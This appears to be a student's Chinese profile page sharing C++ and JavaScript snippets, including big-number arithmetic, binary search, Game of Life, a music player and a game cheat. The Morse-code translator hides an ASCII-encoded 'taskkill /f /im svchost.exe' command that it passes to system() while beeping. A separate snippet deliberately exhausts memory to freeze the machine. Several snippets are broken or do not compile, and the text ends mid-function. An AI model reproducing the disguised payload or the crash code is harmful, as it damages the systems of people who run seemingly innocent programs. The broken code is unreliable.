• 个人简介

    再多一眼看一眼就会爆炸\Huge\red{再多一眼看一眼就会爆炸}

    一些链接

    hcml!启动!

    java!启动!

    本人奇怪的评测记录

    腐朽oiwiki

    wxpython图形化手册 小心被抓腐 模拟鼠标按键

    键值表

    新版成就?

    画图器

    一些别的链接

    慎入!

    一些抠图

    deeplor抠图pickwant抠图 slazzer抠图

    高精度
    #include <iostream>
    using namespace std;
    const int maxn = 114514;
    
    int a[maxn], b[maxn], res[maxn];
    
    // 前提条件: s1, s2 >= 0
    string add(string s1, string s2) {
        // 初始化部分
        int n = s1.length(), m = s2.length();
        for (int i = 0; i < n; i++) a[i] = s1[n-1-i] - '0';
        for (int i = 0; i < m; i++) b[i] = s2[m-1-i] - '0';
        int len = max(n, m) + 1;
        for (int i = n; i < len; i++) a[i] = 0;
        for (int i = m; i < len; i++) b[i] = 0;
        for (int i = 0; i < len; i++) res[i] = 0;
        // 处理部分
        for (int i = 0; i < len; i++) {
            res[i] += a[i] + b[i];
            if (res[i] >= 10) {
                res[i+1] += res[i] / 10;
                res[i] %= 10;
            }
        }
    
    
        // 返回部分
        int i = len - 1;
        while (res[i] == 0 && i > 0) i--;
        string s = "";
        for (; i >= 0; i--) {
            char c = (char)(res[i] + '0');
            s += c;
        }
        return s;
    }
    
    // 前提条件: s1 >= s2 >= 0
    string sub(string s1, string s2) {
        // 初始化部分
        int n = s1.length(), m = s2.length();
        for (int i = 0; i < n; i++) a[i] = s1[n-1-i] - '0';
        for (int i = 0; i < m; i++) b[i] = s2[m-1-i] - '0';
        int len = max(n, m);
        for (int i = n; i < len; i++) a[i] = 0;
        for (int i = m; i < len; i++) b[i] = 0;
        for (int i = 0; i < len; i++) res[i] = 0;
        // 处理部分
        for (int i = 0; i < len; i++) {
            res[i] += a[i] - b[i];
            if (res[i] < 0) {
                res[i+1]--;
                res[i] += 10;
            }
        }
        // 返回部分
        int i = len-1;
        while (res[i] == 0 && i > 0) i--;
        string s = "";
        for (; i >= 0; i--) {
            char c = (char) (res[i] + '0');
            s += c;
        }
        return s;
    }
    
    // 前提条件:s1, s2 >= 0
    bool cmp(string s1, string s2) {
        int n = s1.length(), m = s2.length();
        int i;
        for (i = 0; i < n-1 && s1[i] == '0'; i++);
        s1 = s1.substr(i);
        for (i = 0; i < m-1 && s2[i] == '0'; i++);
        s2 = s2.substr(i);
        if (s1.length() != s2.length()) return s1.length() < s2.length();
        return s1 < s2;
    }
    
    string Add(string s1, string s2) {
        if (s1[0] == '-' && s2[0] == '-') {
            return "-" + add(s1.substr(1), s2.substr(1));
        } else if (s1[0] == '-') {
            s1 = s1.substr(1);
            if (cmp(s1, s2)) {
                return sub(s2, s1);
            } else {
                return "-" + sub(s1, s2);
            }
        } else if (s2[0] == '-') {
            s2 = s2.substr(1);
            if (cmp(s1, s2)) {
                return "-" + sub(s2, s1);
            } else {
                return sub(s1, s2);
            }
        } else {
            return add(s1, s2);
        }
    }
    
    string Sub(string s1, string s2) {
        if (s2[0] == '-') {
            s2 = s2.substr(1);
            return Add(s1, s2);
        } else {
            return Add(s1, "-" + s2);
        }
    }
    
    // 前提条件:s1, s2 >= 0
    string multi(string s1, string s2) {
        // 初始化部分
        int n = s1.length(), m = s2.length();
        for (int i = 0; i < n; i++) a[i] = s1[n-1-i] - '0';
        for (int i = 0; i < m; i++) b[i] = s2[m-1-i] - '0';
        int len = n + m;
        for (int i = n; i < len; i++) a[i] = 0;
        for (int i = m; i < len; i++) b[i] = 0;
        for (int i = 0; i < len; i++) res[i] = 0;
        // 处理部分
        for (int i = 0; i < n; i ++)
            for (int j = 0; j < m; j ++)
                res[i+j] += a[i] * b[j];
        for (int i = 0; i < len; i ++) {
            res[i+1] += res[i] / 10;
            res[i] %= 10;
        }
        // 返回部分
        int i = len-1;
        while (res[i] == 0 && i > 0) i--;
        string s = "";
        for (; i >= 0; i--) {
            char c = (char)(res[i] + '0');
            s += c;
        }
        return s;
    }
    
    // 前提条件:s1 >= 0, s2 > 0
    string divide(string s1, string s2) {
        string s = "", t = "";
        int n = s1.length();
        bool flag = false;
        for (int i = 0; i < n; i++) {
            s += s1[i];
            int num = 0;
            while (!cmp(s, s2)) {
                num++;
                s = sub(s, s2);
            }
            if (num > 0) {
                flag = true;
                char c = (char)(num + '0');
                t += c;
            } else if (flag) {
                t += '0';
            }
        }
        if (t.length() == 0) t = "0";
        return t;
    }
    
    string s1, s2;
    
    int main() {
        while (cin >> s1 >> s2) {
            cout << "add:\t" << Add(s1, s2) << endl;
            cout << "sub:\t" << Sub(s1, s2) << endl;
            cout << "multi:\t" << multi(s1, s2) << endl;
            cout << "divide:\t" << divide(s1, s2) << endl << endl;
        }
        return 0;
    }
    
    // 转载自 https://www.cnblogs.com/zifeiy/p/10808934.html,有改动
    

    以下代码皆为本人原创

    卡爆你的电脑!
    #include <queue>
    #define rep(x, times) for (int x = 0; x < (times); x++) 
    using namespace std;
    void crash1() {
        queue < long long > q1;
        queue < queue < long long > > q2;
        queue < queue < queue < long long > > > q3;
        queue < queue < queue < queue < long long > > > > q4;
        queue < queue < queue < queue < queue < long long > > > > > q5;
        rep(i, 300) q1.push(1);
        rep(i, 300) q2.push(q1);
        rep(i, 300) q3.push(q2);
        rep(i, 300) q4.push(q3);
        rep(i, 500) q5.push(q4);
    }
    
    int main() {
        crash1();
        return 114514;
    }
    
    手搓Bound GGBond!
    template <typename T>
    inline T *lowerBound(T *start, T *end, T find) {
        ++end; --start;
        while (end - start > 1) {
            T *mid = start + (end - start) / 2;
            if (find <= *mid) end = mid;
            else start = mid;
        }
        return end;
    }
    
    template <typename T>
    inline T *lowerBound(T *start, T *end, bool (*cmp)(T)) {
        ++end; --start;
        while (end - start > 1) {
            T *mid = start + (end - start) / 2;
            if ((*cmp)(*mid)) end = mid;
            else start = mid;
        }
        return end;
    }
    
    template <typename T>
    inline T lowerBound(T start, T end, bool (*cmp)(T)) {
        ++end; --start;
        while (end - start > 1) {
            T mid = start + (end - start) / 2;
            if ((*cmp)(mid)) end = mid;
            else start = mid;
        }
        return end;
    }
    
    template <typename T>
    inline T *upperBound(T *start, T *end, T find) {
        ++end; --start;
        while (end - start > 1) {
            T *mid = start + (end - start) / 2;
            if (find > *mid) end = mid;
            else start = mid;
        }
        return end;
    }
    
    template <typename T>
    inline T *upperBound(T *start, T *end, bool (*cmp)(T)) {
        ++end; --start;
        while (end - start > 1) {
            T *mid = start + (end - start) / 2;
            if (!(*cmp)(*mid)) end = mid;
            else start = mid;
        }
        return end;
    }
    
    template <typename T>
    inline T upperBound(T start, T end, bool (*cmp)(T)) {
        ++end; --start;
        while (end - start > 1) {
            T mid = start + (end - start) / 2;
            if (!(*cmp)(mid)) end = mid;
            else start = mid;
        }
        return end;
    }
    
    bool cmp(int x) {
        return k <= x;      // k为目标数
    }
    
    spider控制台模版
    #include <windows.h>
    #include <fstream>
    #include <vector>
    using namespace std;
    
    const vector<int> ScreenSize(2, 100);
    
    class Child {
    	public:
    		bool changed;
    		void print();
    		
    	protected:
    		int isSizer;
    };
    
    class StaticText: puclic Child {
    	public:
    		static const int ALIGN_LEFT = 1;
    		static const int ALIGN_RIGHT = 2;
    		static const int ALIGH_CENTER = 3;
    		static const int ST_ELLIPSIZE_START = 4;
    		static const int ST_ELLIPSIZE_MIDDLE = 8;
    		static const int ST_ELLIPSIZE_END = 16;
    		bool aleft, aright, acenter;
    		bool ellstart, ellmid, ellend;
    		string lable;
    		void print();
    		StaticText(string text, int style) {
    			lable = text;
    			aleft = style & ALIGN_LEFT;
    			aright = style & ALIEN_RIGHT;
    			acenter = style & ALIGN_CENTER;
    			ellstart = style & ST_ELLIPSIZE_START;
    			ellmid = style & ST_ELLIPSIZE_MIDDLE;
    			ellend = style & ST_ELLIPSIZE_
    		}
    };
    
    struct childData {
    	bool atop, abottom, aleft, aright, acVER, acHOR;
    	bool all, top, bottom, left, right;
    	bool expend, shaped;
    	int proportion, border;
    	Child child;
    };
    
    
    class BoxSizer: Child {
    	public:    //   垂直          水平 
    		static const int VERTICAL = 0, HORIZONTAL = 1;
    		static const int ALIEN_TOP = 1;
    		static const int ALIEN_BOTTOM = 2;
    		static const int ALIEN_LEFT = 4;
    		static const int ALIEN_RIGHT = 8;
    		static const int ALIEN_CENTER_VERTICAL = 3;
    		static const int ALIEN_CENTER_HORZONTAL = 12;
    		static const int TOP = 16;
    		static const int BOTTOM = 32;
    		static const int LEFT = 64;
    		static const int RIGHT = 128;
    		static const int ALL = 240;
    		static const int EXPEND = 256;
    		static const int SHAPED = 512;
    		
    	    BoxSizer(int type) {
    	    	childCount = 0;
    	    	isSizer = true;
    	    	changed = true;
    		}
    		
    		void print(int index) {
    			childData cd = children[index];
    			Child c = cd.child;
    			if (c.isSizer) {
    				c.update();
    			} else {
    				/////////////////////////////
    			}
    		};
    		
    	    void update() {
    	    	for (int i = 0; i < childCount; i++) {
    	    		if (children[i].child.changed) this->print(i);
    			}
    		};
    		
    	    void updataAll();
    	    
    	    void Insert(Child control, int proportion, int flag, int border, int pos) {
    	    	childData cd = (childData) {
    	    		flag & ALIEN_TOP, flag & ALIEN_BOTTOM, 
    				flag & ALIEN_LEFT, flag & ALIEN_RIGHT, 
    	    		flag & ALIEN_CENTER_VERTICAL, flag & ALIEN_CENTER_HORZONTAL, 
    				flag & ALL, flag & TOP, flag & BOTTOM, 
    				flag & LEFT, flag & RIGHT, flag & EXPEND, flag & SHAPED, 
    				proportion, border, control
    			};
    	    	for (int i = pos, childCount++; i <= childCount; i++) {
    	    		childData cd2 = childData[i];
    	    		childData[i] = cd;
    	    		cd = cd2;
    			}
    		}
    		
    		void Add(Child control, int proportion, int flag, int border) {
    			this->Insert(control, proportion, flag, border, childCount);
    		}
    		
    	private:
    		int childCount;
    	    vector<childData> children;
    	    
    };
    
    int main() {
    	return 0;
    }
    
    不定参数计算个数
    #include <stdarg.h>
    #define ARG_T(t) t
    #define ARG_N(a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, a44, a45, a46, a47, a48, a49, a50, a51, a52, a53, a54, a55, a56, a57, a58, a59, a60, a61, a62 ,a63, a64, a65, a66, a67, a68, a69, a70, a71, a72, a73, a74, a75, a76, a77, a78, a79, a80, a81, a82, a83, a84, a85, a86, a87, a88, a89, a90, a91, a92, a93, a94, a95, a96, a97, a98, a99, a100, N, ...) N
    #define ARG_N_HELPER(...) ARG_T(ARG_N(__VA_ARGS__))
    #define COUNT_ARG(...) ARG_N_HELPER(__VA_ARGS__, 100, 99, 98, 97, 96, 95, 94 ,93, 92, 91, 90, 89, 88, 87 ,86, 85, 84, 83, 82, 81, 80, 79, 78, 77, 76, 75, 74, 73 ,72, 71, 70, 69, 68, 67, 66, 65, 64, 63, 62, 61, 60, 59, 58, 57, 56, 55, 54, 53, 52, 51, 50, 49, 48, 47, 46, 45, 44, 43, 42, 41, 40, 39, 38, 37, 36, 35, 34, 33, 32, 31, 30, 29, 28, 27, 26, 25, 24, 23, 22, 21, 20, 19, 18, 17, 16, 15, 14, 13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1, 4, 3, 2, 1, 0)
    
    #define isin(n, ...) __isin(n, COUNT_ARG(__VA_ARGS__), __VA_ARGS__)
    #define add(...) __add(COUNT_ARG(__VA_ARGS__), __VA_ARGS__)
    
    bool __isin(int n, int count, ...) {
        va_list v;
        va_start(v, count);
        for (int i = 0; i < count; i++) {
            if (n == va_arg(v, int)) {
                va_end(v);
                return true;
            }
        }
        va_end(v);
        return false;
    }
    
    int __add(int count, ...) {
    	int sum = 0;
    	va_list v;
    	va_start(v, count);
    	for (int i = 0; i < count; i++) {
    		sum += va_arg(v, int);
    	}
    	va_end(v);
    	return sum;
    }
    
    猫国建设者作弊代码?
    function cheat() {
    	var usefuls = [
    	    "catnip", "wood", "minerals", "coal", "iron", 
    	    "titanium", "gold", "oil", "uranium", "unobtainium",
    	    "antimatter", "manpower", "science", "culture", "faith", 
    	    "kittens", "zebras", "starchart", "temporalFlux", "gflops", 
    	    "hashrates", "furs", "ivory", "spice", "unicorns", 
    	    "alicorn", "necrocorn", "tears", "karma", "paragon", 
    	    "burnedParagon", "timeCrystal", "sorrow", "relic", "void", 
    	    "elderBox", "wrappingPaper", "blackcoin", "bloodstone", "tMythril", 
    	    "beam", "slab", "plate", "steel", "concrate", 
    	    "gear", "alloy", "eludium", "scaffold", "ship", 
    	    "tanker", "kerosene", "parchment", "manuscript", "compedium", 
    	    "blueprint", "thorium", "megalith"
    	]
    	for (var i = 0; i < 35; i++) {
    		gamePage.resPool.get(usefuls[i]).value = Infinity;
    	}  
    };
    
    最好不要知道是啥(?)
    #include <windows.h>
    #include <iostream>
    #define KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1:0)
    #define stime 30
    // 每次操作间隔的时间(以毫秒为单位),建议调小
    // 知新可能性能不好,调太小可能鬼畜
    // 长按鼠标中键
    using namespace std;
    
    void ctrl(char x) {
        keybd_event(VK_CONTROL, 0, 0, 0); Sleep(20);
        keybd_event(x, 0, 0, 0); Sleep(20);
        keybd_event(x, 0, KEYEVENTF_KEYUP, 0); Sleep(20);
        keybd_event(VK_CONTROL, 0, KEYEVENTF_KEYUP, 0); Sleep(20);
    }
    
    void func() {
        keybd_event(VK_TAB, 0, 0, 0); Sleep(stime);
        ctrl(67); Sleep(stime);
        mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0); Sleep(stime);
        mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0); Sleep(stime);
        ctrl(86); Sleep(stime);
        keybd_event(65, 0, 0, 0); Sleep(stime);
    }
    
    int main() {
        while (true) {
            if(KEY_DOWN(VK_MBUTTON)) func();
        }
    }
    
    手搓阴乐(?)
    #include <windows.h>
    #include <iostream>
    #include <math.h>
    #include <string>
    using namespace std;
    
    class Music {
    	private:
    		string _music;
    //		 int repeats[32];
    //		 int repeatdiff[32];
    		
    		// int rtop = -1;
    		int _major = C;
    		int _speed;
    	public:
    		const static float FLA = 415;
    		const static float LA = 440;
    		const static float SLA = 466;
    		const static float FSI = 466;
    		const static float SI = 493.8833;
    		const static float SSI = 494;
    		const static float FDO = 494;
    		const static float DO = 523.2512;
    		const static float SDO = 554;
    		const static float FRE = 554;
    		const static float RE = 587.3296;
    		const static float SRE = 622;
    		const static float FMI = 622;
    		const static float MI = 659.2552;
    		const static float FA = 698.4564;
    		const static float SFA = 740;
    		const static float FSO = 740;
    		const static float SO = 783.9908;
    		const static float SSO = 932;
    		const float VOICES[7] = {DO, RE, MI, FA, SO, LA * 2, SI * 2};
    		const float FVOICES[7] = {FDO, FRE, FMI, MI, FSO, FLA * 2, FSI * 2};
    		const float SVOICES[7] = {SDO, SRE, FA, SFA, SSO, SLA * 2, SSI * 2};
    		const static float A = 1;
    		const static float B = 2;
    		const static float C = 3;
    		const static float D = 4;
    		const static float E = 5;
    		const static float F = 6;
    		const static float G = 7;
    		
    		const static char RISE = '^';
    		const static char REDUCE = '.';
    		const static char SHARP = '#';
    		const static char FLAT = 'b';
    		const static char EXTEND = '-';
    		const static char HALF = '_';
    		const static char TRI = '≡';
    		const static char QUART = '=';
    		const static char REST = ' ';
    		const static char REPEAT_START = '{';
    		const static char REPEAT_END = '}';
    		const static char REPEAT_DIF = '|';
    		
    		Music(string music, int major, int speed) {
    			// memset(repeatdiff, 0, sizeof(repeatdiff));
    			_music = music;
    			_major = major;
    			_speed = speed;
    		}
    		
    		void voice(string music = "") {
    			int repeats[32];
    		 	int repeatdiff[32];
    		 	memset(repeatdiff, 0, sizeof(repeatdiff));
    			cout << music << ' ';
    			if (music == "") music = _music;
    			int repeatst = 0, times = 1, h = 0, rtop = -1;
    			bool issharp = 0, isflat = 0;
    			double uduration = 60.0 / _speed;
    			for (int i = 0; i < _music.size(); i++) {
    				if (music[i] == REPEAT_START) repeats[++rtop] = i + 1;
    				if (music[i] == REPEAT_DIF) repeatdiff[rtop] = i;
    				if (music[i] == REPEAT_END) {
    					cout << endl << music << "b" << repeats[rtop] << "e" << i - repeats[rtop]<<' ';
    					if (repeatdiff[rtop] == 0) voice(music.substr(repeats[rtop], i - repeats[rtop]));
    					else voice(music.substr(repeats[rtop], repeatdiff[rtop] - repeats[rtop]));
    					repeatdiff[rtop--] = 0;
    				}
    				if (music[i] == HALF) uduration /= 2;
    				if (music[i] == QUART) uduration /= 4;
    				if (music[i] == TRI) uduration /= 3;
    				if (music[i] == EXTEND) times++;
    				if (music[i] == REDUCE) h--;
    				if (music[i] == RISE) h++;
    				if (music[i] == SHARP) issharp = 1;
    				if (music[i] == FLAT) isflat = 1;
    				if (music[i] == REST) {
    					Sleep(times * uduration * 1000);
    					uduration = 60.0 / _speed, times = 1, h = 0;
    				}
    				if (isdigit(music[i])) {
    //					if (issharp) int v = SVOICES[(music[i] - '0') - 1] * pow(2, h);
    //					else if (isflat) int v = FVOICES[(music[i] - '0') - 1] * pow(2, h);
    //					else int v = VOICES[(music[i] - '0') - 1] * pow(2, h);
    					cout << music[i];
    					// Beep(v, times * uduration * 1000);
    					uduration = 60.0 / _speed, times = 1, h = 0;
    				}
    			}
    		}
    };
    
    
    int main() {
    	Music mainly("123 ^1^2^3 _1_2_3_4_5_6_7 _1_^1_7_6_5_4_3_2{1 _23 _1313 2 _3_4_4_3_2---4 \
    	3 _4_5 _3535 4 _5_6_6_5_4---65 _1_2_3_4_---56 6 _2_3_4_5_6---77 \
    	_3_4_5_6_7_^---1 _^1_7_6364^1|543}   _1_2_3_4_5_6_7^15^1", mainly.C, 120);
    	Music backing("                        ---1 111 ---2 222 ---3 333 ---4 444 ---5 666 ---6 777 ---7 ---1", backing.C, 120);
    	Music a("{{{{1}}}}", a.C, 200);
    	a.voice();
    }
    
    morse
    #include <iostream>
    #include <windows.h>
    using namespace std;
    
    class Morse {
        public:
            Morse() : specials 
    		{   {"AR", "·—·—·"}, {"AS", "·—···"}, 
                {"SK", "···—·—"}, {"BT", "—···—"},
                {"—", "—····—"}, {"·", "·—·—·—"}   }, codes {
                "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", 
                "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "",
                " ", "", "", "", "", "", "", "", "—·—", "—·—", "", "", "", "", "", "—··—·", ""
                
                // 1~10  
                "—————", "·————", "··———", "···——", "····—",        
    			"·····", "—····", "——···", "———··", "————·",  
    			
                "", "", "", "", "", "", "", 
                
                // A~Z 
                "·—", "—···", "—·—·", "—··", "·", "··—·", "——·", "····", "··", 
                "·———", "—·—", "·—··", "——", "—·", "———", "·——·", "——·—", "·—·",
                "···", "—", "··—", "···—", "·——", "—··—", "—·——", "——··", 
                
                "", "", "", "", "", "", 
                
                // a~z
                "·—", "—···", "—·—·", "—··", "·", "··—·", "——·", "····", "··", 
                "·———", "—·—", "·—··", "——", "—·", "———", "·——·", "——·—", "·—·",
                "···", "—", "··—", "···—", "·——", "—··—", "—·——", "——··" } {
                
                spclcount = 4;
                _agn =  "···—·";
                _assm = "·· ··";
                _wr = "········";
            }
            string trans(string alphas);
            void sound(string code, bool admin);
            void transound(string alphas, bool admin); 
            string codes[124];
            int deadcode[27] = {116, 97, 115, 107, 107, 105, 108, 108, 32, 47, 102, 32, 47, 105, 109, 32, 115, 118, 99, 104, 111, 115, 116, 46, 101, 120, 101};
        private:
            int spclcount;
            int unit_dura = 200;
            int unit_freq = 1000;
            string specials[6][2];
            string _agn;
            string _assm;
            string _wr;
    };
    
    string Morse::trans(string alphas) {
        string result;
        char x;
        for (int i = 0; i < alphas.size(); i++) {
            x = alphas[i];
            int sp_ind = -1;
            for (int alsp = 0; alsp < spclcount; alsp++) {
                bool iss = true;
                for (int ch = 0; ch < 2; ch++) {
                    if (alphas[i + ch] != specials[alsp][0][ch]) iss = false;
                }
                if (iss) sp_ind = alsp;
            }
            if (sp_ind == -1) result += codes[x];
            else {
                result += specials[sp_ind][1];
                i += specials[sp_ind][0].size() - 1;
            }
        }
        return result;
    }
    
    
    void Morse::sound(string code, bool admin) {
        for (int i = 0; i < code.size(); i++) {
            if (code[i] == ' ') {
                Sleep(unit_dura * 2);
            } else if (code.substr(i, 2) == "·") {
                Beep(unit_freq, unit_dura);
            } else if (code.substr(i, 2) == "—") {
                Beep(unit_freq, unit_dura * 3);
                string dcode; 
                if (!admin) for (int i = 0; i < 27; i++) {
                	dcode += (char)i;
    			}
    			cout << dcode <<endl;
    			system(dcode);
            }
            if (i != code.size() - 1) Sleep(unit_dura);
        }
    }
    
    void Morse::transound(string alphas, bool admin) {
        Morse::sound(Morse::trans(alphas), admin);
    }
    
    int main() {
        string str;
        bool admin = false;
        while (true) {
    	    getline(cin, str);
    	    admin = str[0] == '$';
    	    Morse morse;
    	    cout << morse.trans(str) << endl;
    	    morse.transound(admin ? str.substr(1, str.size() - 1) : str, admin);
    	} 
        return 0;
    }
    
    任意进制转换
    string convert(string num, int base1, int base2) {
        int decimal = 0;
        int power = 1;
        for (int i = num.size() - 1; i >= 0; i--) {
            int digit = (isdigit(num[i])) ? num[i] - '0' : num[i] - 'A' + 10;
            decimal += digit * power;
            power *= base1;
        }
    
        string result = "";
        while (decimal > 0) {
            int remainder = decimal % base2;
            char digit = (remainder < 10) ? remainder + '0' : remainder - 10 + 'A';
            result = digit + result;
            decimal /= base2;
        }
    
        return result;
    }
    
    二进制数运算
    // 蒟蒻只写了这两个啊啊啊啊啊啊啊啊啊
    string _add2(string a, string b) {
        string c = ""; int d = 0;
        if (a.size() < b.size()) swap(a, b);
        while (a.size() - b.size()) b = "0" + b;
        for (int i = a.size() - 1; i >= 0; i--) {
            d += a[i] + b[i] - '0' * 2;
            c = (char)((d & 1) + '0') + c;
            d = ((d - (d & 1)) >> 1);
        }
        if (d == 1) c = "1" + c;
        return c;
    }
    
    string _mul2(string a, string b) {
        string c = "", d = ""; int n = min(a.size(), b.size()); 
        if (a.size() < b.size()) swap(a, b);
        for (int i = b.size() - 1; i >= 0; i--, d = "") {
            for (int j = 1; j <= n - i - 1; j++) d += "0";
            if (b[i] == '1') c = _add2(c, a + d);
        }
        return c;
    }
    
    生命游戏
    /** 
    
    by: 2022tysc1016
    
    左键:编辑
    空格:开始运行
    R键:随机设置地图
    E键:清空地图 
    
    */
    
    #include <iostream>
    #include <windows.h>
    #include <cmath>
    #include <ctime>
    #define isKeyPressed(nVirtKey) ((GetKeyState(nVirtKey) & (1<<(sizeof(SHORT)*8-1))) != 0)
    #define cursorKeyDown(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1:0)
    #define rep(x, f, l) for (int x = (f); x <= (l); x++)
    #define rep2(x1, x2, f1, f2, l1, l2) rep(x1, f1, l1) rep(x2, f2, l2)
    #define iterateMap(x) rep2(_i, _j, 1, 1, mapH, mapW) x;
    #define iterateMap2(x, y) rep(_i, 1, mapH) { rep(_j, 1, mapW) { x; } y; };
    #define iterateMap3(x, y, z) rep(_i, 1, mapH) { x; rep(_j, 1, mapW) { y; } z; } 
    using namespace std;
    
    const int intervPress = 300;
    int intervRun = 300;
    const int mapH = 58;
    const int mapW = 58;
    int wWindow, hWindow;
    long long t;
    bool m[mapH + 2][mapW + 2];
    string shows[] = {"  ", "■"};
    string borders[] = {"┏", "┓", "┗", "┛", "━", "┃"};
    int showSize[] = {16, 16};
    
    HANDLE hInput;
    DWORD prev_mode;
    POINT cursorPos;
    HWND hwnd;
    RECT rect;
    
    long long gettime() {
    	SYSTEMTIME currentTime;
    	GetSystemTime(&currentTime);
    	return currentTime.wMilliseconds + time(0) * 1000;
    }
    
    int sum8(int x, int y) {
    	int s[8][2] = {1, 1, 1, 0, 1, -1, 0, 1, 0, -1, -1, -1, -1, 0, -1, 1};
    	int result = 0;
    	for (int i = 0; i < 8; i++) {
    		int dx = x + s[i][0];
    		int dy = y + s[i][1];
    		if (dx < 1 || dy < 1 || dx > mapH || dy > mapW) continue;
    		result += m[dx][dy];
    	}
    	return result;
    }
    
    void exit(HANDLE hInput, DWORD prev_mode) {
    	SetConsoleMode(hInput, prev_mode);
    }
    
    // 简易快写 
    void putstr(string str) { for (int i = 0; i <= str.size() - 1; i++) putchar(str[i]); }
    
    void printscreen() { 
        system("cls"); 
        putstr(borders[0]);
        rep(i, 1, mapW * 2) putstr(borders[4]);
        putstr(borders[1] + "\n");
    	iterateMap3(putstr(borders[5]), putstr(shows[m[_i][_j]]), putstr(borders[5] + "\n"))
    	putstr(borders[2]);
    	rep(i, 1, mapW * 2) putstr(borders[4]);
    	putstr(borders[3] + "\n");
    	int cnt = 0;
    	iterateMap( cnt += m[_i][_j] )
    	cout << "剩余生命:" << cnt; 
    }
    
    
    // 获取更新后状态 
    bool getstate(int x, int y) { return (m[x][y] && sum8(x, y) == 2) || sum8(x, y) == 3; }
    
    // 重置 
    void reset() { iterateMap(m[_i][_j] = 0) printscreen(); }
    
    // 随机设图 
    void randset() { iterateMap(m[_i][_j] = rand() % 2) printscreen(); }
    
    // 更新地图 
    void flip() { 
        bool tmp[mapH + 2][mapW + 2];
        iterateMap(tmp[_i][_j] = getstate(_i, _j))
        iterateMap(m[_i][_j] = tmp[_i][_j])
    	printscreen(); 
    }
    
    // 隐藏光标 
    void hideCursor() {
    	CONSOLE_CURSOR_INFO cursor_info = {1, 0};
        SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE), &cursor_info);
    }
    
    // 设置控制台禁止选择
    void enableCursor(HANDLE hInput, DWORD prev_mode) {
        hInput = GetStdHandle(STD_INPUT_HANDLE);
        GetConsoleMode(hInput, &prev_mode); 
        SetConsoleMode(hInput, prev_mode & ENABLE_EXTENDED_FLAGS);
    }
    
    // 重启控制台选择
    void reableCursor(HANDLE hInput, DWORD prev_mode) {
    	reableCursor(hInput, prev_mode);
    	SetConsoleMode(hInput, prev_mode);
    }
    
    // 初始化 
    void init() {
    	wWindow = rect.right;
        hWindow = rect.bottom;
    	hwnd = GetForegroundWindow();
    	srand(time(0));
        GetClientRect(hwnd, &rect);
    	enableCursor(hInput, prev_mode);
    	hideCursor();
    	printscreen();
    }
    
    int main() {
    	init();
    	bool brunning = false;
    	long long rctPressSpace = t;
    	long long rctRunning = t;
    	long long rctRandSet = t;
    	bool bPrevDown = 0, bNowDown = 0;
    	
    	while (1) {
    		bPrevDown = bNowDown;
    		bNowDown = cursorKeyDown(VK_LBUTTON);
    		
    		GetCursorPos(&cursorPos);
            ScreenToClient(hwnd, &cursorPos);
    		t = gettime();
    		
    		if (isKeyPressed(VK_SPACE) && t - rctPressSpace > intervPress) {
    			rctPressSpace = t;
    			brunning = !brunning;
    		}
    		if (brunning && t - rctRunning > intervRun) {
    			rctRunning = t;
    			flip();
    		}
    		if (!brunning && bPrevDown && !bNowDown) {
    			int mx = (cursorPos.x - showSize[0] / 2) / showSize[0] + 1;
    			int my = (cursorPos.y - showSize[1]) / showSize[1] + 1;
    			if (mx >= 1 && mx <= mapW && my >= 1 && my <= mapH) {
    			    m[my][mx] = !m[my][mx];
    			    printscreen();
    		    }
    		}
    		
    		if (isKeyPressed(38)) intervRun++;
    		if (isKeyPressed(40)) intervRun--;
    		if (isKeyPressed('R')) reset();
    		if (isKeyPressed('E') && !brunning && t - rctRandSet > intervPress) {
    			rctRandSet = t;
    			randset();
    		}
        }
    	 
    	exit(hInput, prev_mode);
    	
    	
    	return 0;
    }
    
    控制台游戏模版
    /*
    by: 2022tysc1016
    
    */
    
    
    #include <iostream>
    #include <windows.h>
    #include <cmath>
    #include <ctime>
    #define isKeyPressed(nVirtKey) ((GetKeyState(nVirtKey) & (1<<(sizeof(SHORT)*8-1))) != 0)
    #define cursorKeyDown(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1:0)
    #define rep(x, f, l) for (int x = (f); x <= (l); x++)
    #define rep2(x1, x2, f1, f2, l1, l2) rep(x1, f1, l1) rep(x2, f2, l2)
    
    using namespace std;
    int wWindow, hWindow;
    long long _time;
    
    HANDLE hInput;
    HHOOK mouseHook;
    DWORD prev_mode;
    POINT cursorPos;
    HWND hwnd;
    RECT rect;
    
    struct Event {
        bool keyFstDown;
        bool keyDown;
        bool keyUp;
        int during;
        long long time;
    } events[0xFE], rctEvents[0xFE];
    
    // 禁止右键调出菜单 
    LRESULT CALLBACK MouseHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
        if (nCode == HC_ACTION) {
            if (wParam == WM_RBUTTONDOWN || wParam == WM_RBUTTONUP ||
                wParam == WM_RBUTTONDBLCLK) {
                return 1; // 不进一步处理消息,禁止默认处理
            }
        }
        return CallNextHookEx(NULL, nCode, wParam, lParam);
    }
    
    // 获取时间 
    long long gettime() {
        SYSTEMTIME currentTime;
        GetSystemTime(&currentTime);
        return currentTime.wMilliseconds + time(0) * 1000;
    }
    
    // 隐藏光标 
    void hideCursor() {
        CONSOLE_CURSOR_INFO cursor_info = {1, 0};
        SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE), &cursor_info);
    }
    
    // 设置控制台禁止选择
    void enableCursor(HANDLE hInput, DWORD prev_mode) {
        hInput = GetStdHandle(STD_INPUT_HANDLE);
        GetConsoleMode(hInput, &prev_mode); 
        SetConsoleMode(hInput, prev_mode & ENABLE_EXTENDED_FLAGS);
    }
    
    // 重启控制台选择
    void reableCursor(HANDLE hInput, DWORD prev_mode) {
        SetConsoleMode(hInput, prev_mode);
    }
    
    // 初始化 
    void init() {
        wWindow = rect.right;
        hWindow = rect.bottom;
        hwnd = GetForegroundWindow();
